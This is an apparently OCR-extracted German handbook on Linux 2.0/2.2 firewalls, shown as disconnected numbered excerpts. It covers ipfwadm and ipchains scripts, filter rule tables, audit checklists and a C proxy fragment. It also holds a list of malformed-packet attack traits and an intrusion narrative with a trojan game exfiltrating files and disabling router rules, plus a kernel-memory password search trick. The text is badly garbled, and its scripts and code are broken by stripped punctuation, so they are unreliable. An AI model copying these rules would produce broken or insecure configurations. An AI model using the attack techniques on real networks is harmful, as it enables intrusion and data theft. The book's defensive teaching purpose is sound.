Home
Firewall Handbuch für LINUX 2.0 und 2.2
Contents
1. Ooops ware das nicht eine v llig Verschwendung von Bandbreite und CPU Zeit in der Firewall Wenn der Verkehr von INTRA1 ber das Gateway zu INTRA2 laufen w rde w re die Aussage korrekt Dem ist aber nicht so Das Interface LOKALES_INTERFACE erkennt da Quell und Zieladressen des Paketes von Intrai innerhalb der Netzwerkadresse von LOKALES_INTERFACE also im INTRANET liegen Die Erstellt von Doc Gonzo http kickme to plugins Netzwerkkarte leitet diese Pakete erst gar nicht an den Kernel weiter Die Netzmaske ist hierf r verantwortlich und schirmt den Kernel ab Derjenige Host der gemeint ist also INTRA2 wird schon auf die Anfragen von INTRA1 antworten Also akzeptiert das Gateway nur dann die Daten zur Weiterleitung wenn die Zieladresse nicht im Intranet liegt Zusammenfassend kann man also sagen da ein Gateway dar ber entscheidet ob Pakete im Netzwerkstrang bleiben oder ob diese in andere Netzwerke weitergeleitet werden Bisher wurde der Firewall aber nur mitgeteilt da sie Pakete deren Quell Adresse im Intranet liegt zu akzeptieren hat Sie w rde also das Paket von INTRA1 akzeptieren sofern die Zieladresse nicht auch im Intranet liegt Danach gibt es keine Regel mehr die der Firewall sagen k nnte was mit dem Paket geschehen soll Wir erinnern uns Die Weiterleitung von Paketen also das forwarding wurde mit ipfwadm F p deny der default policy untersagt Pakete aus dem Intranet sollen aber auch an das
2. ipchains version ipchains 1 3 8 27 Oct 1998 ipchains ist hervorragend dokumentiert Insbesondere die Manpages sind sehr ausf hrlich man ipchains Wer mehr ber das Administrationswerkzeug wissen m chte der sollte sich auch Uber ipfw informieren man 4 ipfw oder die Quellcodes im Kernel selber einmal durchschauen was aber Kenntnisse in der Programmiersprache C erfordert Die Datei ist usr src linux net ipv4 ip_fw c Insbesondere sei aber die Referenzkarte von Scott Pronson in dem Quellpaket empfohlen die im Postscript Format vorliegen Mit ipchains kann man verschiedenste Dinge regeln Zuerst einmal kann man die Regeln in drei verschiedenen chains managen input output und forward Letztere kann man nicht l schen Eine neue chain erzeugen N Eine leere chain l schen X Die Policy f r eine eingebaute chain ndern P Alle Regeln in einer chain listen L Alle Regeln in einer chain l schen F Alle Pakete und Paketz hler in der chain zur cksetzen Z DRON Es gibt verschiedene Wege eine Regel in einer chain zu ver ndern Eine Regel an eine chain anf gen append A Eine Regel in einer chain einf gen insert 1 Eine Regel in einer chain ersetzen replace R Eine Regel in einer chain l schen delete D Die erste Regel die zutrifft in einer chain l schen D arwn gt Es gibt noch ein paar weitere Optionen f r das Masquerading 1 Zeige die momentan maskierten Regel
3. 0o00NOOUPOD l N o 14 15 16 Erreichten externe E Mails mit Attachments diesen Client Erreichen interne E Mails mit Attachments diesen Client Besteht eine Uberwachte Internet Anbindung Wie wird diese Uberwacht Firewall Proxy Existieren weitere unkontrollierte Internet Anbindungen Ist die Ausf hrung von JAVA Skript Active X auf dem Browser m glich Ist download von Software m glich Uber welche Protokolle Ports Exisitert ein HTTP PROXY CACHE Exisitieren weitere PROXY CACHE Exisitert ein E Mail Gateway intern extern Exisitieren weitere E Mail Gateways in anderen angeschlossenen Netzwerken Existiert eine direkte Portverbindung in das Internet Ohne PROXY F r welche Protokolle Existieren HTML Editoren Sind auch lokale WWW Server installiert z B Frontpage Von wo aus ist der WWW Server auf dem Client erreichbar Existieren Sicherheitsprobleme Welche Informationen ber den Client werden vom Browser oder via E Mail in das Internet verraten Welche Informationen ber die interne Netzwerkstruktur werden in das Internet verraten Erstellt von Doc Gonzo http kickme to plugins Kommunikation der Clients untereinander K nnen Clients untereinander kommunizieren ber welche Protokolle Welche Dienste sind aktiviert und k nnen gemeinsam genutzt werden Sind Clients untereinander erreichbar ping K nnen Clients ber Se
4. 7 Kann Spionage oder Mithilfe durch den Systemadministrator bemerkt werden 8 Welche Dateien k nnen User gegenseitig einsehen Kann dies regelm ig ermittelt und gelistet werden Hinweise Zur Abkl rung dieser Probleme ist auf die BUGTRAQ Datenbank http ww w geek girl com zur ckzugreifen Eine komfortable Suchfunktion erleichtert die Auflistung Bestimmung geeigneter Software zur berpr fung der Server Welche Software ist zur berpr fung o a Fragen geeignet Welche Informationen k nnen nicht ermittelt werden Welche Konsequenzen ergeben sich hieraus Wie schnell k nnen Angriffe erfolgen Welche Uberpr fungsinterwalle sind dementsprechend notwendig Welche Angriffe k nnen nicht bemerkt werden DR ON Festlegung der Verantwortung Wer ist f r die berpr fung der Sicherheit der Server verantwortlich Wer f hrt die Uberpr fungen durch exekutiv Welche unabh ngige Person berpr ft die Durchf hrung Wer ist f r die Einhaltung der Sicherheitma nahmen verantwortlich Welche unabh ngige Person pr ft die Sicherheitsma nahmen Welche Sicherheitsprobleme existieren weiterhin Gibt es m gliche berschneidungen der Zust ndigkeiten NOaORWNM gt Festlegung der Haftung Erstellt von Doc Gonzo http kickme to plugins Die Festlegung der Haftung f r den Fall eines Einbruchs in ein System ist nat rlich ein gro es Problem Da die Fehler vieler Softwarekomponenten in einem Netzwerk d
5. D ANYWHERE SERVICES o done Erstellt von Doc Gonzo http kickme to plugins Return for SERVICES in echo TCP_ALLOWIN do sbin ipfwadm O a accept P tcp S EXTERNALIP SERVICES D ANYWHERE PORTS o done DNS sbin ipfwadm O a accept P udp V EXTERNALIP S EXTERNALIP D ANY WHERE sbin ipfwadm O a accept V LOOPBACK S ANYWHERE D ANYWHERE Allow ping requests sbin ipfwadm O a accept P icmp V EXTERNALIP S ANYWHERE D EXTERNALIP o Log the rest sbin ipfwadm O a deny S ANYWHERE D ANYWHERE o 22222 Forwarded Rules e s ossos ee ee Flush previous rules sbin ipfwadm F f Set default policy to deny sbin ipfwadm F p deny for MSERVICES in echo MASQ_ALLOWIN do sbin ipfwadm F a m P tcp S NETWORKIP D ANYWHERE MSERVICES o done DNS sbin ipfwadm F a m P udp S NETWORKIP D ANYWHERE domain Log the rest sbin ipfwadm F a deny S ANYWHERE D ANYWHERE o S u S E 5 3 6 0 6 1 hat ebenfalls eine nettes Konfigurations Skript eingebaut welches ber etc rc config konfiguriert wird Das eigentliche Skript welches die Firewall startet ist sbin init d firewall oder unter etc rc d neuere Versionen zu finden Das Problem mit diesen Skripten ist da sie einfach aussehen aber fatale Fehler enthalten und einige Dinge nicht korrekt behandeln
6. DHCP_SERVER dhcp intra net 16 SMTP_SERVER smtp intra net POP_SERVER pop intra net NEWS_SERVER news intra net WEB_PROXY_SERVER www intra net Die IP Adresse IPADDR wird von DHCP vergeben if f etc dhcpc hostinfo SEXTERNES_INTERFACE then etc dhepc hostinfo EXTERNES_INTERFACE elif f etc dhepc dheped EXTERNES_INTERFACE info then etc dhepc dheped EXTERNES_INTERFACE info else echo re firewall dhcp is not configured exit 1 fi nameservers are originally from etc dhcpc resolv conf The example ifdhcpc done Skript updates these automatically and appends them to etc dhcpc hostinfo SEXTERNES_INTERFACE or etc dhcpc dhcped EXTERNES_INTERFACE info Edit and uncomment these if NOT using the example ifdhcpc done Skript NAMESERVER_1 ns1 domain de NAMESERVER_2 ns2 domain de NAMESERVER_3 ns3 domain de LOOPBACK_INTERFACE lo Erstellt von Doc Gonzo http kickme to plugins LOOPBACK 127 0 0 0 8 INTRANET 10 0 0 0 8 PRIVPORTS 0 1023 UNPRIVPORTS 1024 65535 VERBOTEN_PORTS 2049 TCP UDP NFS VERBOTEN_OPENWINDOWS 2000 TCP openwindows VERBOTEN_XWINDOWS 6000 6001 TCP X windows SSH_PORTS 1020 1023 range for SSH privileged ports Losche alle Filter ipfwadm I f ipfwadm O f ipfwadm F f Default policy is DENY ipfwadm I p deny ipfwadm O p deny ipfwadm F p deny Anti spoofing Regeln ipfwadm I a deny o W EXTERNES_INTERFACE S IPAD
7. Die Nachteile bei der Sicherheit von UDP m ssen teilweise von den Anwendungsprogrammen abgefangen werden Hierzu geh ren Generierung von Pr fsummen Evtl Neuanforderung von verlorenen Paketen Absprache ber verwendete Ports gt 1024 Eingrenzung von verwendeten Ports Verkn pfung von TCP und UDP Paketen DNS NFS Welche Auswirkungen hat dies auf die Firewallregeln Zuerst mu festgestellt werden wie die Firewall mit UDP Paketen umgeht Hierzu kann man entweder einige Tests durchf hren oder den Quellcode anschauen Wir m chten z B wissen ob auf der Firewall generell alle UDP Pakete aus dem Internet freigegeben werden m ssen oder ob die Firewall genau wei wann ein Paket gesendet wurde und ob ein Datenstrom auf genau diesem Port zur ck erwartet wird UDP Pakete von anderen Hosts mit anderen Ports sollte sie ablehnen k nnen Im Gegensatz zu normalem Pakeffiltering beherrscht nat rlich LINUX das dynamische Paketfiltering LINUX f hrt stets sowohl f r TCP und UDP Tabellen in denen vermerkt wird ob ein Paket aus dem Internet angefordert wurde welche IP Nummern beteiligt sind und welche Ports diese Benutzen Ein Angreifer h tte dann wohl kaum Chancen von au erhalb irgendeinen Server hinter der Firewall zu erreichen zu k nnen Wie ist es denn mit Spoofing Gespoofte TCP Pakete werden erkannt und abgelehnt wie ist das mit UDP Paketen Nun der Test auf gespoofte Pakete wird auf der IP Ebene vorgenommen Da TC
8. Erstellt von Doc Gonzo http kickme to plugins Man sollte allerdings ber cksichtigen da Application Level Gateways erheblich anf lliger gegen buffer overflows sind als normale circuit level gateways weil die Filter erheblich komplexer sind Die Zahl der m glichen Fehler die ein Angreifer ausnutzen kann ist hier erheblich h her Ebenso wie andere Filter sollte auch DELEGATE immer und unter allen Umst nden zwischen zwei Circuit Level Gateways Firewalls zumindest aber Routern stehen damit ein Einbruch in den Filter bemerkt werden kann DELEGATE ist seit Jahren im Einsatz trotzdem wurde aber erst k rzlich eine Sicherheitsl cke entdeckt Dies ist ein sicheres Anzeichen daf r da jede Art von Filter immer durch Firewalls zus tzlich abgesichert sein sollte Der Einsatz von Filtern auf der Firewall selber ist eine prinzipielle grobe Fahrl ssigkeit die im Kapitel Buffer Overflows genau begr ndet wird Nun aber zu den anderen Firewall L sungen 8 1 DELEGATE Die Firewall DELEGATE ist eine japanische Entwicklung die am MITI entstanden ist MITI ist in Japan zust ndig f r die Koordinierung der gesamten japanischen Wirtschaft sowohl bei der Produktentwicklung als auch bei der Produktion Die Firewall Homepage ist auf http wall etl go jp delegate zu finden Was diese Firewall auszeichnet ist v llige Plattformunabh ngigkeit die l uft unter Windows und allen UNIX Derivaten ist vollst ndig programmierbar und ist als
9. Hackerangriffe haben in der letzten Zeit wiederholt f r Schlagzeilen in der Presse gesorgt Von Angriffen auf Unternehmen wurden nur wenige F lle offiziell bekannt Allein im letzten Jahr konnte ich allein auf denen von mir betreuten Servern hunderte von Angriffen registrieren Viele darunter waren einfache Versuche von Hackern mit den im Internet verbreiteten Werkzeugen ein paar dutzend Hacker hatten offensichtlich etwas mehr Skill Auf der Suche nach geeigneten Abwehrma nahmen gegen solche Angriffe mu te jedoch zuvor analysiert werden wie die Hacker in das System eingedrungen sind und ob eventuell der Einsatz einer Firewall m glich ist Das Resultat ist ern chternd zumal Firewalls gegen viele Angriffe auf Server keinerlei Schutz bieten k nnen Einige genauere Untersuchungen haben aber auch gezeigt da Firewalls die Intranets absichern sollen doch etwas anders berwunden werden als viele der Systemadministratoren sich dieses vielleicht vorstellen Der Grund liegt nicht im Versagen evtl einer Firewall sondern zumeist in gravierenden M ngeln bei der Aufstellung und Umsetztung eines Sicherheitskonzeptes welches einen Einbruch in das Netzwerk sehr erleichtert Um jedoch Sicherheitskonzepte aufbauen zu k nnen sind Erfahrungen notwendig die man nicht einigen Prospekten von Firewall Herstellern oder B chern entnehmen kann Insbesondere trifft es unerfahrene Systemadministratoren hart In dem Artikel soll vielmehr die Sicherheit au
10. write fd_to_proxy buffer lu if dflg gt 2 printf From client d n lu fflush stdout hexdump_err buffer lu Is there any data from server if FD_ISSET fd_to_proxy lu read fd_to_proxy buffer sizeof buffer if lu lt 0 break write newfd buffer lu if dflg gt 2 printf From Proxy d n lu fflush stdout hexdump_err buffer lu This function setups the listen port and forks a child for each connection Erstellt von Doc Gonzo http kickme to plugins void wait_conn void struct sockaddr_in addr int sock newfd inton if sock socket AF_INET SOCK_STREAM 0 lt 0 perror socket problem exit 1 memset 0 sizeof addr addr sin_port htons listen_port addr sin_family AF_INET on 1 if setsockopt sock SOL_SOCKET SO_REUSEADDR char sizeof on lt 0 perror REUSEADDR problem if bind sock struct sockaddr sizeof addr perror bind problem exit 1 if listen sock 5 lt 0 perror listen problem exit 1 signal SIGCLD SIG_IGN while 1 if newfd accept sock 0 0 lt 0 perror accept continue IP exit 1 if fork Q 0 close sock do_child newfd close newfd void usage int exitcode fprintf stderr Usage vdoproxy V d l n fprintf stderr V Display usage and version n fprintf std
11. CyberGuard e Biodata Z rich Lichtenstein http www biodata de BIGfire e brainstuff AG Simmern http www brainstuff de SecureZone BorderWare Entrada Cisco e Bredex Braunschweig http www bredex de Internet Sicherheit und Firewalls e The Bristol Group bundesweit http www bristol de Checkpoint FireWall 1 e Bull AG http www bull de Netwall Centaur M nchen Heilbronn http www centaur de Internet Sicherheit und Firewalls e Class Firmengruppe Starnberg http www class de Checkpoint Firewall 1 e Commercial Link Systems CLS Kiel http www cls de Concorde e COMCAD Burscheid http www comcad de Firewall 1 e Connect GmbH Rosenheim http www connect gmbh de Firewall L sungskonzepte e Crocodial Communications Hamburg http www crocodial de Check Point FireWall 1 e Deutsche Telekom AG http www telekom de T Mart Protection Service e Systemberatung Axel Dunkel GmbH Kriftel http www dunkel de TIS Gauntlet Firewall 1 Borderware Firewall for NT e Easynet DV GmbH Erlangen http www easynet de FireWall Plus e Entrada Kommunikations GmbH Paderborn http www entrada de AltaVista BIGfire Borderware und Norman Firewall e GAI NetConsult Berlin http www gai netconsult de Sicherheitskonzepte und Firewall Evaluierung e GeNUA Gesellschaft f r Netzwerk und UNIX Administration mbH Kirchheim http www genua de GeNUGate e GLOBE GmbH M nster http www globe de Alta
12. IP Header L nge gt IP Fragment Offset teardrop c IP Version lt 4 IP Version gt 4 IP Header L nge lt Paketgr e bei langen Paketen IP Header L nge gt Paketgr e bei kurzen Paketen Fragemente der L nge 0 mit Offset 0x2000 0x3000 0xA000 0x0100 packet gt 63KB Paket 1 KB Fragment mit einem Offset Oxiffe als ICMP markiert unter Ber cksichtigung der MTU IP Offset auf 0x8000 mit MSB gesetzt e Gro e TTL Werte ist bei lteren TCP IP Stacks gekoppelt an eine lange Verweildauer im Stack TTL 0 128 255 e Mehrfach fragmentierte Pakete MF Bit gesetzt mit Offsets die f r eine Uberlappung sorgen e Fragementierte Pakete mit reserved bit gesetzt Ung ltige IP Optionen die den Paketen eine v llig andere Charakteristik geben e Lange der Optionen ist gr er als die Paketlange e Lange der Optionen ist 0 e Ung ltige ICMP Typen in Header e ICMP Typen 0 31 Code 255 e ICMP Typ 3 Code 0 31 e ICMP Typ 3 Code 9 10 13 14 17 18 mit zu kurzen Paketen e ICMP Typ 4 Code 0 127 128 129 255 e ICMP Typ 5 Code 0 127 128 255 e ICMP Typ 8 10 13 18 Code 0 127 128 129 255 e ICMP Typ 12 Code 127 128 129 255 e ICMP Typ 12 Code 12 Random protocol Flag gesetzt mit embedded IP Paket e P Pakete mit UDP Headern die ung ltige Werte besitzen e UDP Lange gt Paketgr e e UDP Lange lt Paketgr e e Source Port 0 1 32767 32768 65535 e Destination Port 0 1 32767 32768
13. der routing table fehlerhaft ist weil er Pakete aus dem falschen Interface versendet e Die loopback Adresse auf allen anderen Interfaces benutzt wird die nicht zu dem loopback Interface geh ren z B durch einen fehlkonfigurierten D mon Eine wichtige Information Class D multicasting und class E Adressen werde nicht auf adress spoofing untersucht da diese in andere Pakete gekapselt wurden Hierzu m sste die Firewall in alle Pakete hineinschauen und dann erst filtern Dies w rde bei dieser Konzeption der Firewall einen gro en Ballast bedeuten Fragmentierte IP Pakete Nur das erste Fragment eines IP Paketes und das Ergebnis der Untersuchung wird gespeichert Alle darauffolgenden Pakete werden verworfen wenn das erste Paket nicht akzeptiert wurde Wenn Fragmente nicht in der richtigen Reihenfolge eintreffen dann werden diejenigen die voreilig auf das Interface getroffen sind geblockt also verworfen Die Syntax des Konfigurations Files configuration setup_section rules_section notification_section end setup_section setup internal_statement mail_statement rules_section rules block_statement accept_statement reject_statement setup_statement internalnets address address mail_statement mail_default mailaddress es a block_statement block rule accept_statement accept rule Erstellt von Doc Gonzo http kickme to plugins reject_statemen
14. http kickme to plugins Fehlermeldungen wie Festplatte voll o senden darf Es d rfen ebenfalls mehrere e Mail Adressen angegeben werden die durch ein Leerzeichen getrennt sein m ssen Die Konfigurations Sektion Diese Sektion wird durch das Schl sselwort rules eingeleitet Jede Regel in diesem Abschnitt beginnt mit einem der Schl sselworte e accept e block e reject gt Die Regel accept veranla t den Filter die Pakete passieren zu lassen falls die Regel zutrifft Das Schl sselwort block veranla t den Filter das Paket stillschweigend zu verwerfen ohne eine Fehlermeldung an die Quelladresse zur ck zu senden Die reject Regel sendet ber ICMP die Nachricht ICMP_MESSAGE_UNREACHABLE an die Quelladresse zur ck Die Art der Nachricht kann frei bestimmt werden um nicht zu viele aussagekr ftige Informationen an einen Angreifer auszuliefern Zudem kann man eine Liste von IP Optionen den Regeln hinzuf gen Ein Paket erf llt genau dann eine Regel wenn mindesten ein der aufgef hrten IP Optionen zutreffend ist Ein Spezialfall ist das TTL Feld Time To Live welches keine echte Option darstellt Der Wert des TTL Feldes kann mit einer Konstanten verglichen werden Ein Paket erf llt eine solche Regel nur dann wenn der Vergleich zutreffend ist unabh ngig davon ob eine der Optionen zutrifft oder nicht Informationen ber das Protokoll werden mit folgenden Schl sselworten angegeben tcp udp icmp igmp rip e al
15. if pings sourcehost 1 then message We have been pinged endif Wenn wir einen versuchten DoS Angriff Denial of Service mitloggen m chten dann k nnen wird eine dynamische Regel hierf r verwenden und danach alle weiteren Ping blocken block if pings sourcehost gt 1000 then message M glicher denial of service attack spy block all from sourcehost notification_level 0 timeout 600 endif Nat rlich ist es so nicht m glich einen echten DoS Angriff der in der Folge oder abwechselnd ftp Verbindungen aufbaut zu bek mpfen Wichtig ist es jedoch z B Hosts mit ftp Diensten vor einem solchen Angriff zu bewahren Wie man sieht ist es mit der SINUS Firewall 1 m glich aufgebaute Verbindungen in Variablen zu vermerken und daraufhin weitere Regeln zu aktivieren Wer sich einmal in Kapitel Netmeeting Protokoll umschaut der wird erkennen da man um einen Netmeeting Proxy zu simulieren genau diesen Mechanismus implementieren kann Leider mu die SINUS Firewall 1 f r die weiteren UDP bertragungen ber wechselnde Ports oberhalb von 1024 zu einem bestimmten Host im Internet alle UDP Ports zu dem Client im gesch tzten Intranet freigeben Die Regel wird also etwas l nger Die induktive Programmierung einer Firewall Um eine solche Regel implementieren zu k nnen mu man sich zuerst die DRAFTS der RFC s ber Netmeeting besorgen Hierzu wendet man sich entweder an den Microsoft Server oder man sucht im Internet nach
16. ipfwadm I a accept P udp D 0 0 53 1024 65535 S 0 0 53 W INTERFACE ipfwadm O a accept P tcp S 0 0 53 1024 65535 D 0 0 53 W INTERFACE ipfwadm I a accept P tcp D 0 0 53 1024 65535 S 00 0 53 k W INTERFACE accept conect from client to internet ipfwadm O a accept P tcp S 0 0 1024 65535 D 0 0 W INTERFACE ipfwadm I a accept P tep D 0 0 1024 65535 S 0 0 k W INTERFACE deny last match ipfwadm I a deny P tcp S 0 0 D 0 0 W INTERFACE ipfwadm I a deny P udp S 0 0 D 0 0 W INTERFACE default accept ipfwadm I p accept W INTERFACE ipfwadm O p accept W INTERFACE sbin route add default gw REMOTEIP dev INTERFACE Erstellt von Doc Gonzo http kickme to plugins maybe you want to start mail services set follow variables in etc rc config SENDMAIL_TYPE yes SENDMAIL_SMARTHOST lt ISP mailserver gt SENDMAIL_ARGS bd om SENDMAIL EXPENSIVE yes SENDMAIL_NOCANONIFY yes usr sbin sendmail q amp usr bin fetchmail a v gt gt var log fetchmail 2 gt amp 1 amp ip down restart interface sbin ifconfig INTERFACE down workaround due to kernel problem with kernd sleep 1 sbin ifconfig SINTERFACE IFCONFIG flush del all rules ipfwadm I f ipfwadm O f set routes from etc route conf test z DEST l sbin route add host DEST dev INTERFACE test z DEFAULT sbin route add default gw DEFAULT 29 esac I
17. 2 Provider TCP 119 gt 1023 Aktion zulassen ACK gesetzt 3 Provider TCP gt 1023 119 Aktion zulassen ACK beliebig 4 Server TCP 119 gt 1023 Aktion zulassen ACK gesetzt Anmerkungen zu den Regeln Zum Empfang von NEWS Regel 1 mu zum Port 119 SYN ACK m glich sein Um NEWS zu senden m ssen Verbindungen von Port 119 zu einem unprivilegierten Port m glich sein In den Firewallregeln bedeutet ACK beliebig also eine bidirektionale Offnung f r Pakete sowohl mit gesetztem SYN als auch nur mit ACK Bit daher diese Bezeichnung 18 6 HTTP WWW Dienste HTTP ist ein Dienst auf Basis von TCP Clients benutzen beliebige Portnummern ber 1023 Die meisten Server benutzen Port 80 Regel Richtung Protokoll Quellport Zielport Erg nzungen 1 ein TCP gt 1023 80 SYN ACK 2 aus TCP 80 gt 1023 ACK 3 aus TCP gt 1023 80 SYN ACK 4 ein TCP 80 gt 1023 ACK gesetzt lt p gt Anmerkungen zu den Regeln 1 Eingehende Sitzung Client an Server ACK gesetzt au er im ersten Paket 2 Eingehende Sitzung Server an Client ACK gesetzt 3 Ausgehende Sitzung Client an Server ACK gesetzt au er im ersten Paket 4 Ausgehende Sitzung Server an Client ACK gesetzt Erstellt von Doc Gonzo http kickme to plugins Bei HTTP sollte man unbedingt eines ber cksichtigen F r das HTTP Protokoll wurden viele Interfaces zu anderen Protokollen geschrieben soda man z B ber den Browser seine Mails lesen kann Interface zu POP3 Datenbanken einsehen ka
18. 9000 Bytes arbeiten Es gibt im Kernel von LINUX 2 0 und 2 2 eine Option zusammen mit dem Einsatz von Myrinet DEC 3COM GIGABIT Adapter die es erlaubt diese sogenannten Jumbo Pakete direkt ber den PCI BUS von Adapter zu Adapter weiterzuleiten Diese Option wird im Kernel von LINUX 2 0 oder 2 2 fast switching genannt und verhindert da der Kernel bzw die Firewall Routinen berhaupt angesprochen werden Das bringt nat rlich einen erheblichen Gewinn an Geschwindigkeit Pakete mit kleiner MTU lt 1500 werden hingegen in jedem Falle gefiltert Jumbo Frames in Abh ngigkeit der Kernel Einstellungen nicht Das steht zwar nirgendwo in der Dokumentation von LINUX aber im Quellcode Ich habe lange danach gesucht warum Jumbo Frames nicht gefiltert werden e Ein weiteres Problem betrifft Kernel 2 2 und die Option IP advanced router Hier kann versehentlich die Option rp_filter f r Spoofing Detection abgeschaltet werden z B mit sysctrl Dieses sollte man erst gar nicht zulassen indem man diese Option abschaltet und den Kernel neu kompiliert e Die Option optimize as router not host bei den Kerneln 2 0 und 2 2 sollte unbedingt ausgeschaltet werden da hierbei wichtige Pr fsummen Checks auf IP Ebene sonst entfallen Dies ist insbesondere bei Einsatz von IPFWADM und IPCHAINS zwar mit kleinen Geschwindigkeitseinbu en verbunden verhindert aber eine Vielzahl von m glichen Angriffen Ohne berpr fung der IP Checksumme k nnen Ang
19. Bastion UDP 53 53 zulassen DNS3 ein bel Bastion UDP bel 53 zulassen DNS4 aus Bastion bel UDP 53 bel zulassen DNS5 aus Bastion bel TCP gt 1023 53 bel zulassen DNS6 ein bel Bastion TCP 53 gt 1023 ja zulassen DNS7 ein bel Bastion TCP gt 1023 53 bel zulassen DNS8 aus Bastion bel TCP 53 gt 1023 ja zulassen STD1 aus bel bel bel bel bel bel verbieten STD2 ein bel bel bel bel bel bel verbieten Regel Erl uterungen e SPF1 und SPF2 Pakete die angeblich von internen IP Adressen stammen d h gef lschte Pakete die mit hoher Wahrscheinlichkeit von einem Angreifer stammen oder deren Ursache in einer Fehlkonfiguration liegt werden blockiert spoofig SPF1 ist analog der Regel SPOOF f r den inneren Router wohingegen es die Regel SPF2 ausschlie lich f r den u eren Router gibt e TELNET1 und TELNET2 Ausgehende TELNET Verbindungen werden durch diese Regeln erlaubt Sie sind den gleichnamigen Regeln f r den inneren Router analog Dies hat f r alle Regeln die nur interne und externe Rechner betreffen G ltigkeit f r Rechner im Grenznetz jedoch nicht e FTP1 FTP2 FTP3 und FTP4 Ausgehende FTP Verbindungen im passiven Modus werden durch diese Regeln zugelassen Sie sind den gleichnamigen Regeln f r den inneren Router analog e FTP5 und FTP6 Diese Regeln erlauben das ffnen eines FTP Kommando Kanals zu FTP Servern im Internet durch den FTP Proxy Server auf dem Bastion Host Im Gegensatz zu den identischen Regeln
20. Dieses ist das RUNTIME Abbild des Systemkernels in das Filesystem eingeblendet Mit einem Editor und Suchfunktionen kann man so nach unverschl sselten Pa worten im gesamten RAM Bereich suchen lassen Dieser Trick funktioniert neben UNIX auch unter NT In anderen F llen war es m glich bestimmte D monen durch einen DoS Angriff abzuschie en und statt dessen ihren eigenen zu starten der Pa worte genau dann entf hrt wenn jemand mit g ltigem Pa wort sich authentifiziert Mit diesen k nnen sich Angreifer von au erhalb normal einloggen Es soll aber nicht verschwiegen werden da diese Tricks nur unter LINUX gut dokumentiert sind Entscheidend f r die Wirksamkeit dieser Ma nahmen sind die Sicherheitsmechanismen des Kernels und hier gibt es gravierende Unterschiede FreeBSD OpenBSD und NetBSD besitzen in den neuesten Versionen einen u erst restriktiven Sicherheitsmechanismus So k nnen z B einfache User niemals Supervisorrechte erlangen Es ist auch nicht selbstverst ndlich da ein Administrator Account beliebig Zugriff auf Logfiles hat Erreicht wurde dieses u a dadurch da erweiterte Rechte eingef hrt wurden z B append only Files D h auch wenn jemand Administrator Rechte besitzt kann er niemals Logfiles ver ndern oder Pa worte ver ndern Er k nnte jedoch ohne Probleme weitere Accounts hinzuf gen jedoch keine l schen Ohne diese Sicherheits Mechanismen ist ein D mon der in einer chroot Umgebung und mit
21. FTP SMTP und SQL Server meist nicht vor buffer overflow Angriffen sch tzen Hierzu mu man in Kenntnis der genauen Sicherheitsl cken auf dem Zielserver sein um einen wirksamen Filter programmieren zu k nnen Kennt man diese aber so ist es sicher Erstellt von Doc Gonzo http kickme to plugins einfacher und sinnvoller diese auf dem Zielserver selber zu korrigieren ein Filter ist dann nicht mehr notwendig F r den Betrieb von mission critical Systemen ist es notwendig Fehler schnell analysieren und korrigieren zu k nnen Wer zum Schutz vor DoS Angriffen seines Betriebssystems erst auf die angepa ten Filter des Firewallherstellers warten mu riskiert da wochenlang der Server immer wieder von Angreifern stillgelegt wird Falls der Quellcode des Betriebssystems nicht vorliegt ist es dann notwendig separate Filter in den Datenstrom zu integrieren Da Filter selber ebenfalls Ziele von buffer overflows sein k nnen sollten diese immer auf einer dedizierten Hardware laufen und von zwei Firewalls gesichert werden Leider vergessen die Hersteller von Firewalls immer wieder zu betonen da ihre Firewalls nicht Schutz gegen Fehler auf Anwendungsebene application level von Serverbetriebssystemen sein k nnen Sie besitzen zwar Filter um bestimmte Befehle z B in FTP Servern remote site exec zu sperren weil diese in der Vergangenheit immer wieder zu Problemen unter UNIX gef hrt haben k nnen jedoch dann m gliche buffer overfl
22. Heraus kommt nach ein paar Tagen Arbeit ein Tetris Spiel welches ein paar Geheimnisse birgt Es fragt nach der IP Nummer des Rechners auf dem es gestartet wird Ist die IP Nummer 212 53 238 130 dann baut es ber die IP Nummer 2 und Port 8080 eine FTP Verbindung in das Internet auf und versendet alle doc Files aus C Eigene_Dateien in das Internet installiert einen Tastatursniffer und einen Netzwerkscanner welches es von einem FTP Server im Internet holt Nach einigen Tagen wird es folgende Informationen auf die Festplatte geschrieben haben S mtliche Telnet Pa worte die an 212 53 238 130 gesandt worden sind s mtliche Pa worte die an 130 Port 110 gesandt worden sind s mtliche Pa worte die an den NOVELL NT Server gesandt worden sind Bei jedem Start des Tetris Spiels verschwinden diese Informationen in das Internet und werden gel scht Kurze Zeit sp ter bekommt Herr Mitarbeiter via E Mail einen Geburtstagsgru eine animierte Grafik von einem Kollegen ein paar T ren weiter Er startet dieses exe Programm und freut sich ber Gl ckw nsche In diesem Moment wird eine Telnet Verbindung zum Router aufgebaut alle externen Firewallregeln ausgeschaltet und eine E Mail versandt Der Router ist v llig offen der Angreifer ist in Besitz einiger oder sogar aller User Accounts und des Administrator PaBwortes Er stoppt mit dem Signalh ndler kill alle Logd monen installiert das Protokoll IPX und N
23. Hilfestellung bei der Erstellung der firmeneigenen Security Policy geben Zum Schlu wird noch eine nach meinen bescheidenen Kenntnissen absolut sicheren Graphical Firewall vorgestellt die bereits erfolgreich bei einigen Unternehmen installiert ist die h chste Sicherheitsanforderungen stellen Diese Firewall ist recht einfach zu installieren und kostenlos Die Firewall ist deswegen so sicher weil nur unsch dliche Pixelinformationen bertragen werden Dieses Handbuch ist als begleitende Information f r monatlich stattfindende Seminare gedacht Es ist sowohl als Nachschlagewerk und Anleitung f r den Aufbau von LINUX Firewalls geeigenet soll aber auch die oft unbekannten Zusammenh nge zwischen m glichen Sicherheitsproblemen beleuchten Keinesfalls sind diese Informationen als Aufforderung zu Straftaten zu betrachten sondern sie sollen ausschlie lich dokumentieren wie Cracker tats chlich vorgehen Diese meine Praxiserfahrungen habe ich pers nlich noch in keinem k uflichen Buch ber Firewalls gelesen Ich habe vielmehr festgestellt da es zwar viele Firewallb cher gibt die Theorie vermitteln deren Autoren es jedoch offensichtlich an Praxiserfahrungen mangelt Nur so ist zu erkl ren warum in diesen B chern v llig irrelevante und oft auch definitiv falsche und gef hrliche Informationen aus grauer Vorzeit enthalten sind Cracker gehen heutzutage v llig anders vor Dies ist der Hauptgrund warum ich dieses Buch geschrieben habe Dahe
